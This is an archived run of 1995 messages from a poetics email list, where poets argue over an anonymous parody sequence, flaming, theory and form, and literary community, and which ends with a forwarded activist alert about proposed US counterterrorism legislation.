Sorry I mangled the line breaks last time. Hope this
post can be read.

Gary,

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Minnesota? For a start, ou might discuss this idea
with those people you list in your post. They actually
live in Minnesota which seems relevant since you've
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29. FUNKHOUSER CHRISTOPH

alt.fan.silliman

Thu 2 Mar 1995

---

the object
of the satire
isn't him or his work,
but the context
of poetic(s) discourse
in which the work
appears

the barrage was a tribute,
as well as a comment

on the flood
of inanity
that threatens all work (his included),
or in any case threatens
to destroy the distinction
between poetry & inanity

we're outta here,

a-h g

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30. James Sherry
Re: ub list
Thu 2 Mar 1995

I'd like to second the refrain that the messages are becoming an outlet for a kind of agression that I don't really want to participate in. The bleeri satires have a good resonance with the base line of discussion and include themselves in poking fun. The current rash strikes me as mean spirited although I agree with Alan again that it's not so much bashing as a kind of misplaced homage. I hope you writers will... James

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31. James Sherry
Re: alt.fan.silliman
Thu 2 Mar 1995

I think Chris that the flames have a tendency to consume the firestarter. I also think that you were attempting to prevent others from speaking in the way they wanted to by "shouting" them down and in that way denied them the right to speak how they wanted. There's a big difference between asking someone to modify their approach and the agression of those messages. If you are not happy with the way you yourself can address the issues, I would suggest thinking about it and coming up with a coherent response rather than with undifferentiated agression. I don't expect you to agree, but I want to say it.

How is this different from the way you flamed Ron? It's more boring. It's intention is clearer in that I am trying to get you to stop attacking people and gaining control of everyone's e-mail list under the guise of parody. And I am giving you the option. There are other valid interpretations, but that is the way I felt reading those recent messages.

"As Freud said about humor.
I forget." paraphrase of Bernstein

Jamses

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32. Colleen Lookingbill

Re: Fwd: Re: Thoughts About Engag...

Thu 2 Mar 1995

---

to all
several things:
1. re: Charles Alexander's
Getting back to what was a topic at the begining of the po/theor discussion, which was about whether every poem had a theory within or behind it, whether poems embodied theory in some way . . .

Curious that I put in one comment about what interested me most in theory and Gary S. took that to mean something about my poetry. I discussed it with him offline, but it seems that in many minds theor/po are automatically/inextricably linked. I don't consider my writing at all to be poetry of personal experience, I have my methods which come from personal experience but does that make the writing itself that method? Not in my opinion. How does this fit into the discussion?

2. re Spencer's list of eight and the other's replies and reactions - again curious how expressing valid concerns and problems is viewed as "negativity", "frustration", etc. Egads if you aren't frustrated with the literary community you must be in serious denial, and if that constitutes negativity then so be it! Running a reading series in S.F. has made it very clear to me that no community exists here today, except as it serves the various spheres of influence. It puts me in mind of James P.Carse's Finite and Infinite Games - [The fluidity of our social and therefore personal existence is a function of our essential freedom - the kind of freedom indicated in the formula "Who must play, cannot play." Of course as we have seen, finite games cannot have fluid boundaries, for if they do it will be impossible to agree on winners... It is this essential fluidity of our humaness that is irreconcilable with the seriousness of finite play. It is, therefore this fluidity that presents us with an unavoidable challenge: how to contain the serious within the truly playful; that is how to keep all our finite games in infinite play.]

Most important is to keep this list space fluid and free.

From Colleen Lookingbill

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33. RSILLIMA
Behavior
Thu 2 Mar 1995

I've received a lot of backchannel queries about how I feel about the Anti-Hegemony Project's "alt.fan.silliman" sequence (which by my count stopped at around 25 messages).

I don't feel badly. I don't feel "flamed." And I don't particularly think it was directed at me except in that "homage by ambivalence" sort of way. I (or at least a fictive Ron Silliman) was usually the object of some commentary that was being ascribed to somebody else on the list (tho I think one or two "authors" might not be up on email yet). Since they were the ones having phoney words put in their mouths, I suspect that they might feel much more violated in that they were alleged to believe/say things they might not have any sympathy towards whatsoever. How does Lew Daly feel about being characterized in such a two-dimensional Elmer Gantry stereotype? It seemed to me throughout that whatever "meanness" existed in the sequence largely was involved in mangling those alleged voices.

All the quotes of my work were generally accurate and so were a few of critiques. (Yeah, I do use the anecdotal as a lever in my critical pieces and it's worth thinking about the consequences of that. I've been trashed for close reading before (by Don Byrd among others), as if the practice itself were politically incorrect (rather than the uses to which it once was put a full generation ago). But no, Ketjak is not a character. The comment on barfing in K was supposed to call up questions of gender, sexual practice and power. Those lines are grounded in autobiography, but that's not the point. I can't imagine having an R. Crumb cover. I loved the dream and have in fact stolen from it for a piece in progress, thank you very much. Most serious critique of all: not one comment about any of my last 6 books. And anybody who wants a copy of The Difficulties should just write to me backchannel. I think I have a few left.)

The day before it all started, a lurker (you know who you are) wrote to me that one reason she posts so little to the group is the sense she has of active hostility on the part of particularly the younger participants toward us old-fart G1 types. People seem ready to jump all over a press like Sun & Moon while nobody trashes New Directions. I responded to her at the time that this was because New Directions was irrelevant, and that this kind of response seems to me precisely an index of anxiety that people may feel about a given person &/or institution. It's ultimately a definitional process. How do we differentiate ourselves from our "elders" especially when we admire their work and can't quite say why or how we ourselves are so unalterably *different*?

I told her that I thought we'd been just as bad in our 20s, although she personally denies it. (I don't: I got to really know Robert Duncan first when I wrote to the SF Chronicle in '66 saying that the bust of Lenore Kandel's Love Book gave writers and the ACLU the chance to extend the first amendment by arguing for the right to produce erotica that was not great literature or socially redeeming. Duncan went onto KQED television to read his open letter denouncing me. I was 19 at the time, an undergraduate at SF State, and a fun time was had by all. That was also the year I wrote to Pound telling him how he ought to conclude the Cantos--with a photo of the Hong Kong harbor, ancient boats bobbing in front of highrises in the smog-filled sky, carrying the poem's move to the graphic to a logical conclusion. I also wrote to Zukofsky, trying to get permission to publish The Objectivist Anthology & the Objectivist issue of Poetry as single volume. I no doubt explained to him in some very condescending fashion the importance of his own work. He sent back a very gracious note that's in the archives at UCSD: "No//but//sincerely,//LZ." I think that the evidence is clear that I was a total brat as a kid, but I only picked on poets who meant a lot to me.)

E-space merely changes the dynamics a little. It gives everybody on the list equal access in a way that sitting around the feet of a pontificating Duncan at a party never did. So it doesn't surprise me at all to see a dynamic I can still remember/recognize showing up here at all. It's no different from what the Apexers are trying to do in their editorials, but that's really the only other kind of venue young writers have for such a social move.

Ideally, though, e-space might actually change the dynamics over time. Maybe if all we simply acknowledge and presume the state of easy access (and, with it, the recognition that everybody's watching), we won't feel so intimidated by older writers who love to hear themselves talk. It would be interesting to see what might happen if younger poets could develop in a supportive setting and older ones wouldn't feel so threatened by difference among the next generation. How do we get there?

It's actually the same question that Gary Sullivan and others have been asking.

I do have one suggestion that I think would make for an improvement all around. When people send out parodies (even mean ones), have the courage to sign it or at least to send it from an email address that let's everyone know just who you are. Believe me, we don't bite. I think that a lot of the bad feelings I hear being expressed, both publically and otherwise, have as much to do with the anonymity of the project as with anything that has ever been said. It's much harder to be an object of parody if you don't know where it's coming from.

Ron Silliman
[redacted]

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34. Tony Green
Re: Even Shiva Does the Hokey Pokey
Thu 2 Mar 1995

EVEN SHIVA DOES THE HOKEY POKEY

And then went down to the ice cream parlour,
Set paddles to Pokey, girls & boys, a godly C, and
We set up housekeeping, and sail on a sweat shirt.
And thenwhen we wondered, where going, where sliding,
We tankard the emblem, fran ending, forfend.

Ah, for the life of it, ox carts, masks, coral,
Colas of both brands, we invoke you Mousses
Both Strawberry & Chocolate to enrich our lead-
En mix (as occasionally you do for such as Seinfeld)...

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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35. Mark Wallace
theory and poetry
Thu 2 Mar 1995

Perhaps, if it's not too late in the game on this one, I'd like to mention something that I didn't see addressed in the recent theory/poetry debates. Rather than talk about theory vs. poetry at all, might not one mention that FORM is crucial to the presentation of ideas, that it's not simply a "what" but also a "how," and in that sense, every piece of writing (theory/poetry/fiction, call it what you will) has a form that opens up or represses possibilities in words. In fact I always thought that this was one of the most interesting thing about the work of people like james sherry, ron silliman, leslie scalapino, many others--

that the "what" (ideas?) was not alienated from the how (the form), but realized in it... What, that is, are the implications of a form of writing in determining its meaning? Using such a question, falling back on distinctions between poetry and theory just may not be the point at all.

mark wallace

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36. Gary Sullivan
Re: Community/Influence
Thu 2 Mar 1995

My apologies to Jonathan Brannen and others for being reductive. (You were warned.)

Also to anyone who felt "left out" by virtue of my limiting myself to people in my area. It was meant as an example. I'm genuinely interested in reading about others' experiences, & thought that might prompt a few.

That post, Jonathan, being a response to Spencer's well-stated ideas about the differences between "community" and "spheres of influence." If you did indeed miss Spencer's post, I'm sure he'd be happy to forward.

Sorry if what I said sounded like "Say! Let's put on a play! We can use Grampa Joe's bedsheets as a curtain! and me & Sally Mae can act, swell, you bet!"

Pretty much everyone here, Jonathan, those I mentioned, & others, have tried to bring everyone together on different occasions. Some attempts have been more successful than others, but I've never felt what we have here is a "community." I'm sure others elsewhere in the States, in Canada, England, New Zealand, Australia, etc., have made similar attempts. I thought it worth bringing up for that reason. My questions weren't rhetorical. I'm sorry if they came across that way.

If nothing else, someone who runs a radio program e-mailed me for Erik Belgum's address; so, Erik's got at least one more place to send his tapes.

And, yeah, Jonathan: You *should* tell us about your books. I'm sure your authors will appreciate it. Not to mention anyone who'd like to order them but can't w/out your address because SPD has denied you (& other new presses of your size publishing mostly younger writers) access.

Anyway, your point about listening is well taken. I'll shut up & lurk for a while.

Yours,

Gary

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37. Mark Nowak
Re: Community/Influence
Thu 2 Mar 1995

in the recent past, Graywolf Press has published:

1.) _The Horse Has Six Legs: An Anthology of Serbian Poetry_
edited by Charles Simic.
2.) _Warrior for Gringostroika_ by Guillermo Gomez Pena
3.) _Unravelling Words & the Weaving of Water_
by Cecilia Vicuna.
(& books by/of Rilke, Huidobro, Montale, etc.)

in the recent past, Milkweed Editions has published:

1.) _Mouth to Mouth: Poems by Twelve Contemporary Mexican Women_
edited by Forrest Gander.
(& books by/of Glancy, Neruda, Hauge, etc.)

in the recent past, New Rivers Press has published:

1.) _Iron Woman_ by Diane Glancy
2.) _Wolves_ by Jim Johnson
3.) _Touchwoord: A Collection of Ojibway Prose_
edited by Gerald Vizenor

Holy Cow! Press has published the likes of Diane Glancy, Duane Niatum, John Brandi, etc. Coffee House Press we all or most of us know.

The question, Gary (hi!) would be, if you published a book, say, on Coffee House Press, if I published a book on Holy Cow! Press, if Chax Press won an NEA, would we enter the MONOLITH? My concern is that your call for an "open community" begins by stating, ab inition, an "division". Even the LOFT & its new competitor, SASE, have sponsored events by the Nuyorican poets. etc. I mean you know I'd be the first to agree that what is here (& most other places I've lived) could use a life-support system. One argument might be that what I've outlined above consists of "multi-cultural writing" that seems to me to have had oh so little space/discussion in this "radical" or "experimental" or "whatever" community, & has been outlined by others as explicity NOT "language writing." I don't know: Basil Johnston's tales are magnificent, Gerald Vizenor (now in Berkeley) is incredible. So much, in fact, of the Ojibwe & Ho-Chunk & Lakota & other Native writers are on par with or excel whoever else might be "out there". Perhaps it's a question of how "community" is defined, whether our litmus test is the level of semantic experiment, the level of com- pliance w/ French theory-praxis, or elsewhere.

just a thought...
Mark Nowak

ps- also here in Minnesota are Diane Glancy, Maria Damon,
& others..., Nor Hall, Robert Hill Whiteman (part-time) etc.

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38. Jim Pangborn
Down in flames?
Thu 2 Mar 1995

The mood on this list shifts like the tides. Yesterday a near-hysterical tension; today the calm of reason. The hysteria I detected was provoked by the most recent spate of AHP parodies, which moved me to write--I wanted to scold those who scolded. I wanted to defend not AHP but satire itself: it was being badly misrepresented. Thus--

Contrary to Susan Schwartz _et.al._, satire needn't be cleanly targeted to be effective as hell. Clean contrary to one particular poster (sorry, I forget who), the greatest satirists knew fully well that they made fun of themselves right along with their supposed targets--that's why Swift, e.g., is enduringly interesting.

Come on, you guys. As Chris Funkhouser (et.al.?) points out, the primary purpose of those parodies was surely not to skewer Ron Silliman. (Granted, his spanking of the Apexers did generate some considerable ill will around here . . .) I thought it plainly evident that the "real" target of *all* AHP's stuff is this medium we're trying to learn how best to handle. ("We"? Is there one? Not 'til "we" found, forge, constitute an "us": an always-ongoing project.) Their satires on the forms and styles of electronic communication--wire-service reporting, vapid b-board chat, listserv intellectualizing, our labyrinthine redistribution of posts within posts within posts--ring dead-on true. I'm impressed. And I have to assume there's more than one person producing this stuff; otherwise I'm put to shame, because, even though I divide my workday the way most of you-all do--i.e. between real writing, reading, scholarly writing, reading, teaching, and reading--I too would like to have such time on my hands (see below).

But I guess you had to be there. My wife kept asking me what was so funny (she was watching television two rooms away, to give you a picture of how I react to AHP when it comes across my screen), and damned if I could explain.

Oh yes--let me introduce myself: Shy, uxorious WM, 40-ish poeticslistlurking gradstud (i.e. no steady job), seeking same or Other or better for serious discussion *and* serious fun (which is why I'm staying tuned). Hobbies: time is but the stream I go a-fishing in.

Thanks for attending

--Jim

↑ Index

39. Jonathan Brannen
Re: theory and poetry
Thu 2 Mar 1995

Mark,
I agree. Dare I say that form and content are the same?

Perhaps this isn't appropriate for "poetics" discussion, but since I write fiction as well, and in writing fiction I'm very fond of using constrictive forms (somewhat re: Oulipo) precisely because it both opens and represses possibilities for narrative constructs. I tend to avoid constrictive forms (no relation to new formalism which I find unreadible) because they seem to limit possibilities, though MacLow has produced some marvelous pieces this way.

Jonathan

↑ Index

40. John Geraets
Phoney words
Fri 3 Mar 1995

I didn't want to rush in with just another bucket
of water to toss on the "Ron Silliman" flaming. It
made me think of framing..

With this talk of flaming and hegemony, I wonder
if it's worth talking about the use of Names.

I'm not talking about the name as the practical
convenience or device that it is.

Of couse, in Japan, the last name comes first: your
setting, your kin/pattern, then the individual you. In
the west, the first name has far greater play. As a
person maybe finally I live by my first name.

Where'm I headed? As well as identification, names
carry privileges. Ron's (you know who) carries
privileges (and maybe notoriety too?!).
Lang-poets
seem still to associate their writings with their
names. The last time I asked to be published

(in NZ) without my name, I was refused. In NZ up to the 60s a number of women writers would appear under adopted names, sometimes men's.

It's this privileging of the name, as authentic, integral, with authority, that POETICS goes some way to abating. But it's the reason why so-called younger generations of writers keep wanting to move in on older (privileged) ones. It's the same game, huh. It's the power thing. Could be it's at back of the gender-talk too. ANd the posts there were concerning reading only Known (I think Marjorie Perloff was involved) Names. It leans too much on predisposition, supposition.

Because the name is taken to be such an integrated circuit, something irrefragible(??), it's hard to split up or share the renown it accrues. We can have it conferred on us (get someone Big to write in my flyleaf), but it detracts nothing from the function of Bigness, merely confirms it. Same game.

What to do? Allot ids? Swap names (or name-genders) once in a while, have a lucky dip? have a name amnesty for a week? Or maybe be allotted rankings as to a name's current standing. Make teams? Lousy solutions, I guess. But my point is that this happens informally now too. On my Mail List there is the sender's name and the subject. I find I'm as interested in the senders name as the subject and am aware how this (is it just me) predisposes my interest and to some extent (is it just me?) my readerly anticipations. I'm not convinced the pre-recognition and pre-eminance associated with the formalized use of proper names is so helpful. I don't likw its use as a handlebar. I think texts can have names and persons can have names but why valorize one with the other. I'm unconvinced its what best represents langpo and its poetics.

Of course, I'll leave my name anyway..

John Geraets

↑ Index

41. braman sandra
Re: Even Shiva Does the Hokey Pokey
Fri 3 Mar 1995

Whatever else might be said about Robert Bly, in the late 1960s and early 1970s in Minnesota it was his leadership that generated a poetry community that understood itself to be exactly that, and poetry readings and activities as means of building community. As, for example, we would have readings with multiple folks at a time -- with poets choosing to read poems one after another in a conversation mode -- one poet would start, someone would choose a poem in response to the first, and so on. Or the publishing collective in which each group of 10 in the collective chose the next 10 and then went on their way, so that the decision-makers themselves were constantly changing...

Let me correct a typo in Even Shiva, the "fran" should read "frank." Three of us are now in ....

Sandra Braman

↑ Index

42. Tom Mandel
Re: Joining the arts community
Fri 3 Mar 1995

Nice to see mention of Artswire and tmn.com - the Metanet, one of my clients and a favorite one. I guess everything is connected somehow. Ignite yr browsers.

Tom Mandel

↑ Index

43. James Sherry
Re: Behavior
Fri 3 Mar 1995

I like your reply to the "flamers" although I think its over generous, but that is a quality that we value in you. I do disagree on one point though. I don't think it's up to the younger generation to create a supportive environment, it's up to the older generation to create a supportive environment, you know. These messages are testing the limits of what can be said and in that they are valuable. If they go beyond the limit of what others find acceptable, they need to be told, but the support must come from those with the surplus to distribute. Jmase

↑ Index

44. Robert Drake
Re: Community/Influence
Fri 3 Mar 1995

> *in the recent past, Graywolf Press has published:*
> *1.) _The Horse Has Six Legs: An Anthology of Serbian Poetry_ edited by Charles Simic.*
> *2.) _Warrior for Gringostroika_ by Guillermo Gomez Pena*
> *3.) _Unravelling Words & the Weaving of Water_ by Cecilia Vicuna.*
> *(& books by/of Rilke, Huidobro, Montale, etc.)*
>
> *in the recent past, Milkweed Editions has published:*
> *1.) _Mouth to Mouth: Poems by Twelve Contemporary Mexican Women_ edited by Forrest Gander.*
> *(& books by/of Glancy, Neruda, Hauge, etc.)*
>
> *in the recent past, New Rivers Press has published:*
> *1.) _Iron Woman_ by Diane Glancy*
> *2.) _Wolves_ by Jim Johnson*
> *3.) _Touchwoord: A Collection of Ojibway Prose_ edited by Gerald Vizenor*
>
> *Holy Cow! Press has published the likes of Diane Glancy, Duane Niatum, John Brandi, etc. Coffee House Press we all or most of us know.*
>
> *The question, Gary (hi!) would be, if you published a book, say, on Coffee House Press, if I published a book on Holy Cow! Press, if Chax Press won an NEA, would we enter the MONOLITH? My concern is that your call for an "open community" begins by stating, ab inition, an "division". Even the LOFT & its new competitor, SASE, have sponsored events by the Nuyorican poets. etc. I mean you know I'd be the first to agree that what is here (& most other places I've lived) could use a life-support system.*
>
> *One argument might be that what I've outlined above consists of "multi-cultural writing" that seems to me to have had oh so little space/discussion in this "radical" or "experimental" or "whatever" community, & has been outlined by others as explicity NOT "language writing."*
>
> *I don't know: Basil Johnston's tales are magnificent, Gerald Vizenor (now in Berkeley) is incredible. So much, in fact, of the Ojibwe & Ho-Chunk & Lakota & other Native writers are on par with or excel whoever else might be "out there".*
>
> *Perhaps it's a question of how "community" is defined, whether our litmus test is the level of semantic experiment, the level of compliance w/ French theory-praxis, or elsewhere.*

> *just a thought...*
> *Mark Nowak*
>
> *ps- also here in Minnesota are Diane Glancy, Maria Damon,*
> *& others..., Nor Hall, Robert Hill Whiteman (part-time) etc.*

also in minnesota (well, duluth) is Poetry Harbor, which published _days of obsidian, days of grace: 4 native american writers_, as well as Poetry Motel magazine, which certainly has no connection w/ French theory-praxis or langpo or whatever... but multiculti, & so not missing frm yr list on that ground...

i'd guess no matter how much you/we try to enlarge our "community", there'll still be "outsiders": folks whom you/we feel you/we have little in common with. & i'm not saying that's a bad thing, but something we have to own up to, and not just ascribe to some "other" (sorry for the ungainly you/we construction here; i wrote it out w/ just "you" & then caught myself...)

so i'm echoing yr question & qualm, 'bout how we identify (w/) thee MONOLITH... and to suggest "communities" emphasis on the plural-- as a self-perception & antidote to the single-partyline-poetic that seems to me at root of much of the in-fighting we've seen so much ov

luigi

↑ Index

45. Ted Pelton
other side
Fri 3 Mar 1995

I've already erased two responses to Auntie Hedge Enemy, but will make this my statement of record: It seems to me they're only interested in talking to people who get their jokes. I missed most of them myself. And I'm from Buffalo, four years removed--I can only imagine the bewilderment of an Australian (though on second thought rural Wisconsin actually doesn't seem that much closer). In any case, it's hard for me to buy the argument "This isn't inane, it's just representing inanity."

As someone not in the loop, but trying to follow these conversations anyway (I'm a fiction writer but rather bored with what's been going on in the experimental vein there lately -- is it possible that Robert Coover is hot again? -- finding recent poetry more eye-popping), I wonder, am I allowed to ask a question, or do I have to study long and hard to acquire the shibboleths first?

I do have a question. I saw Hank Lazer give a paper at Louisville which was down on a couple recent anthologies, including the new Messerli edited Sun&Moon, _From the Other Side of the Century_, which strikes me as a fairly

good one (again I say from outside, but interested). Lo, when I arrived home, I'd been sent the book from my sister-in-law as a late birthday present, a happy coincidence. Looking at it, I take Lazer's point about the structure, that is, that the four groupings (in shorthand: "culture"/"self&society" (NYschool)/"language"/ "performance") are at least as problematic as they are elucidating. But I was more taken aback by what it seems to me are a couple of striking omissions. Ed Dorn, it seems to me, should certainly be included in any selection of recent poets in an innovative tradition concerned with (Messerli's explanation of section 1) "cultural issues and a complex of overlapping ideas about myth, politics, history, place, and religion"--I mean, that sounds like a DESCRIPTION of Dorn's work. And also Kenneth Koch, who strikes me as an integral part of the NY school. I saw him and Ron Padgett read at Woodland Pattern in Milwaukee last year. Koch was the headliner, Padgett seemed implicitly to acknowledge this; Koch read the more challenging works (to my idea of things), yet Padgett is in this anthology and Koch isn't.

Now I only got onto this list in November, and it seems likely that this issue was visited some time in the past when I didn't, as they used to say with CBs, have my ears on. I have a sensitivity to not tying up the space; but then I think, shit, my screens have been clogged with fuck-all for weeks!!! (especially post-Louisville; I'm sure Steve Evans, Alan Golding, Bob Perelman and others who were there have also been very much occupied with simply getting through all the stuff that accumulated last weekend when we were otherwise engaged) Besides, it's like when you run into people who are just now seeing Pulp Fiction for the first time: I don't mind if you say "we've already had this conversation". I'd just like someone to summarize it for me.

And, yes, anthologies are always a problem. But _The New American Poetry_ did reasonably important things it seems to me. This one is self-consciously coming in its footsteps. There are differences of opinion, I'm sure, about both Dorn & Koch, who it strikes me now similarly structure much of their verse around satire, for instance. Ron Silliman (never having seen him, I picture him now with singed eyebrows) spoke a couple weeks ago about the NY school and how for him, for better or worse but undeniably, Koch figured prominently. And if you're going to leave someone out, shouldn't you at least say why (maybe Messerli has in a place I haven't yet looked). Donald Allen was explicit about why T.S. Eliot was left out of _Poetics of the New American Poetry_ in his introduction to that work.

Ted Pelton

↑ Index

46. I.LIGHTMAN
Re: alt.fan.silliman
Fri 3 Mar 1995

I just wanted to say that I found the spoof silliman lists absolutely hilarious, that, as Elizabeth Burns says in the Dec 94 issue of Poetic Briefs, one feels unwelcome thus silenced as a younger poet putting forward reasoned radical critique of the older generation right now, so all power to the anon AHP; and, above all, that the spoof as a total brilliantly conveyed the feel of being a lurker on a list of people *fascinated* by something you yourself don't love in that detail, as is evidenced in a lot of responses to it. What I loved most of all about the spoof was that it didn't do this last effect stupidly; it didn't offer people saying nothing of interest at great length, but made some very informed points about what they (and I) love about the good parts of Ron Silliman's work, and worry over in the porn of it. A point is; you probably wouldn't get this amount of spoof on a lot of the Language Writers, because few of them maintain such a lasting impact on younger readers, certainly myself, as Silliman. Above all, I want to say: the spoof showed me, at least, what a very intelligent list on a very interesting poet or poets (ie both alt.fan.silliman, *and* POETICS, this list we're now "on") looks like to outsiders. I don't myself feel "outside" nearly as much as I'd like to from an exciting margin. It makes me feel.

Ira

↑ Index

47. eric pape
Re: theory and poetry
Fri 3 Mar 1995

The formulation that form is content, or vice versa, is helpful if only to refute the all too common idea that form is a box that somehow contains any given content. A kind of transcendental, naturalized content, which everyone knows, is common sense, contained in an arbitrary, imposed form. This kind of simple opposition I don't find too helpful. But saying simply that form *is* content, or content *is* form, is, I think a little too easy. It collapses what I think are real distinctions between the two. If nothing else it isn't true to what I think is the real struggle, the real battle, to fit what you are trying to say into how you're trying to say it. And maybe this is the most helpful way of seeing the form/content split that I know: as the record of a struggle. As form mediated by content and content mediated by form. At least, I may add, on the level of composition; as you try to write it. It may be easier, maybe neccessary, to say that there is no difference on the level of reading; in other words, once you see something in some form, it is impossible to imagine it in any other. But on the

level of writing, I find it more helpful to think of it dialectically. My two cents, Eric.

↑ Index

48. **eric pape**
Re: Behavior
Fri 3 Mar 1995

Frankly, Ron as someone spoofed, I was pretty flattered. I thought the LSUE. quite clever, but the POPE? Heard worse things about my name in elementary school. But if the implication is that the poetics list acts as a fan club for you, or at least the name SILLIMAN, then I don't agree. Actually, I'm more of a Penn Warren fan myself. That hanged woman scene in Audobon always gives me a stiffy. Thanks, Eric/Erik.

↑ Index

49. **eric pape**
Re: Community/Influence
Fri 3 Mar 1995

I'd like to respond in an odd way to both Gary and Spencer's posts,ie, to both the idea of community and spheres of influence. I'd like to respond with the absolutely asinine question of what is poetry? I think the answer to that question, a question incidentally, that my students ask me all the time, is that poetry is what poets say it is. But that don't mean that anyone can say I believe poetry is a series of regular belches in a dark room and be taken seriously. That is, not at least until she/he comes up with a good reason why belches in a dark room are poetry, ie, a theory of poetry that is comprehensive enough to be taken seriously. To switch to science: when Copernicus came up with his theory of the solar system, what made it ultimately more compelling than the Ptolemaic theory was that it accounted for more variables. In this way, then, I think a given theory of poetry, and everyone begins to write a poem with a given theory of poetry, must compete with earlier theorizations on this level, ie, to take into account the gaps in our articulation of poetry and account for them. That's what I think NY school did, and the l-school. That's where the new group has to come in. Look for where the dominant strain can't account, and do so. This is, by the way, what ultimately made me switch from mainstream AWP poetry, to experimental/avant garde/oppositional poetry: that the notion of what poetry is is always questioned. Something, I think, we see on this list all the time and is I think the most important contribution of it. Finally, Gary, please don't lurk. I've found your voice very helpful, as well as Susan's and Jonathan's and others, if, for nothing else, we are so far out of the loop. Thanks, Eric.

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50. Hank Lazer
Re: other side
Fri 3 Mar 1995

Not down on the anthologies but critical of them, i.e., including praise and negative remarks. The paper I read in Louisville is about half of an extended essay/review which will appear in Contemporary Literature in the Summer issue. The three anthologies I discuss are Lauter's (2nd ed.) Heath anthology of American Lit, Messerli's, and Hoover's. And my particular slant has to do mainly with issues of pedagogy--the use of anthologies in the classroom & the limitations of these particular anthologies. I also, especially on Lauter, consider multiculturalism and its relationship to aesthetic diversity. As for Messerli's anthology, I used it as a core textbook in my Fall 94 course. It IS a rich collection, but....

Hank Lazer

↑ Index

51. eric pape
Re: alt.fan.silliman
Fri 3 Mar 1995

Not sure that I entirely agree with precisely *what* you said, but the *way* you said it is the way. It's the form I tries to articulate earlier. Wow. Thanks, Eric.

↑ Index

52. Steven Howard Shoemaker
e-space
Fri 3 Mar 1995

The single most fascinating thing about this list continues to be this list, i.e. the way it morphs, mutates, grows etc. Reminds me a little of those computer games like SimCity or Civilization where your decisions have to be made as your simulated police grows--when do you invent writing and when do you just build more barracks etc etc Only the analogy immediately breaks down because in those "god games" one person makes all the rules, while this Hydra-headed list is always dispersed, always resisting the imposition of order even as "order" and self-ordering necessarily become subjects of discussion. I'm feeling inclined to celebrate the flux and chaos, the giddy sensation of sliding out of control, and i think the AHP stuff has been sort of exhilarating even when it has been tiresome too. And as someone else said, the best thing about it has been

it's canny and self-self-reflexive exploration of the medium itself and all the different shifting, floating discourses of cyberspace. Of course, i can say all this from the safe standpoint of not having been the object of satire, and i can understand why others might feel assaulted. But as i say, i'm inclined these days to celebrate the mess and muck, especially as an order just came down from the Dean of Arts and Sciences that no university facilities, including computer networks, are to be used for political activity (he was responding directly to an attempt to e-organize a protest against the Contract w/ America). Now, i can understand how some rules need to be sorted out for the medium-- i mean i wldn't want my mailbox to be deluged with the propaganda of my political enemies. But i find myself experiencing a certain fear of what is to come and a sort of nostalgia for what hasn't quite passed. As big-business encroaches from one direction (e.g. Bill Gates about to launch his own MicroSoft net) and govt. from the other what lies in store? Will the chaos continue to roil and billow or will these/this be remembered as the wild frontier days and daze that subsided beneath the inevitable wave of tract housing and shopping malls (cf. America On-Line, Prodigy, Compuserve etc etc

steve shoemaker

↑ Index

53. Robert A Harrison

Fwd> Pending Law and Pres.Order Threaten Our Work

Fri 3 Mar 1995

Following is some more news on attempts to seriously police the internet.

Bob Harrison

[redacted]

****

This posting has been forwarded to you as a service of the Austin Comite de Solidaridad con Chiapas y Mexico.

NOTE BENE: Two actions have been taken to legalize State repression of the kind of work we are doing, i.e., using cyberspace to mobilize support for resistance to Mexican government repression of those struggling for democracy. The rubric under which these actions are being taken is "counterterrorism" --a ploy which has been in use for almost 20 years now. Please note that Clinton's executive order (2nd document below) was signed on February 9, 1995, the same day Zedillo ordered the military against the Zapatistas. Believe it or not absolutely peaceful forms of resistance can be repressed using these means. PLEASE READ CAREFULLY AND TAKE APPROPRIATE ACTION.

Part I: Pending (Counterterroism Bill)

---------- Forwarded message ----------
Date: Fri, 3 Mar 1995 00:33:18 -0600 (CST)
From: Brad Parsons <[redacted]>
To: [redacted]
Subject: FYI HR 896 (fwd)

This is in addition to a recent Executive Order seizing authority for searches and seizures without a search warrant on matters of "national security." I'll try to find that recent EO and forward it also.

---------- Forwarded message ----------
From: [redacted]
Newsgroups: misc.activism.progressive
Subject: New FBI Charter to Investigate Political Groups
Date: 2 Mar 1995 17:58:41 GMT

The following was posted on Peacenet and should be of paramount concern to all activists - it looks like action needs to be taken on this bill quickly. Apologies if this has already been posted here. Please forward near and wide.

Omnibus Counterterrorism Bill
S. 390 and H.R. 896

New FBI Charter to Investigate Political Groups

February 10, 1995 the Omnibus Counterterrorism Bill was introduced as S. 390 into the Senate and as H.R. 896 in the House. It was initiated by the FBI, and passed on by the Justice Department and the White House. Senators Biden (D-DE) and Specter (R- PA) initiated it in the Senate, Rep. Schumer (D-NY) and Dicks (D-WA) in the House. It has bipartisan support and could get expedited action.

SUMMARY
* THIS IS A GENERAL CHARTER FOR THE FBI AND OTHER AGENCIES, INCLUDING THE MILITARY, TO INVESTIGATE POLITICAL GROUPS AND CAUSES AT WILL. The bill is a wide-ranging federalization of different kinds of actions applying to both citizens and non-citizens. The range includes acts of violence (attempts, threats and conspiracies) as well as giving funds for humanitarian, legal activity.

* It would allow up to 10 year sentences for citizens and deportation for permanent resident non-citizens for the "crime" of supporting the lawful activities of an organization the President declares to be "terrorist", as the African National Congress, FMLN in El Salvador, IRA in Northern Ireland, and

PLO have been labelled. It broadens the definition of terrorism. The President's determination of who is a terrorist is unappealable, and specifically can include groups regardless of any legitimate activity they might pursue.

* It authorizes secret trials fo
r immigrants who are not charged
with a crime but rather who are accused of supporting lawful
activity by organizations which have also been accused of
committing illegal acts. Immigrants could be deported: 1) using
evidence they or their lawyers would never see, 2) in secret
proceedings 3) with one sided appeals 4) using illegally obtained
evidence.

* It suspends posse comitatus - allowing the use of the military to aid the police regardless of other laws.

* It reverses the presumption of innocence - the accused is presumed ineligible for bail and can be detained until trial.

* It loosens the rules for wiretaps. It would prohibit probation
as a punishment under the act - even for minor nonviolent
offenses.

IMPLICATIONS * Those who remember the McCarran Walter Act will recognize this bill, only in some ways this is broader and potentially more dangerous

* This bill is highly political: the President can determine who is a terrorist and change his/her mind at will and even for economic reasons. The breadth of its coverage would make it impossible for the government to prosecute all assistance to groups around the world that have made or threatened to commit violent acts of any sort. Necessarily its choices would be targeted at organizations the government found currently offensive. People to be deported would be chosen specifically because of their political associations and beliefs.

